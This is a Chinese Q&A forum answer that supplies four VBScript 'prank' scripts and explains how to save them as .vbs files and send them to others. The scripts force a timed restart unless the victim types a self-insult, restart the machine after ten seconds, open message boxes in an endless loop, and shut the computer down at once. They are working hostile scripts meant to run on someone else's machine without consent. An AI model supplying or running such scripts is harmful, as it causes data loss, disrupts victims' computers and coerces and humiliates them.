谁会编写vbs 或 vbe整人代码

我可以给你几个，但是目前QQ把全部vbs认为是病毒(事实上没有毒,他只是一个脚本)。我给你几个整人的。
第一个：“我是畜生”
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我是畜生，不说就20秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是畜生")
a = inputbox ("说我是畜生,就不关机，快撒，说 ""我是畜生"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

第二个：10秒关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""你被耍了"" ",0 ,true

第三个：刷对话框
do
msgbox("你被耍了")
loop

第四个：直接关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true

注意，第二个和第三个的"你被耍了"可以随便你改，引号别动。

你要学的话，给你一个地址：
http://baike.baidu.com/view/94268.htm?fr=ala0_1

我给你的函数你只要把它复制到一个新建的txt里面,保存后,把后缀名改成vbs就可以.
还有，QQ聊天传代码原理上是没用的，除非你弄一个远程发代码。
有什么问题，可以问我。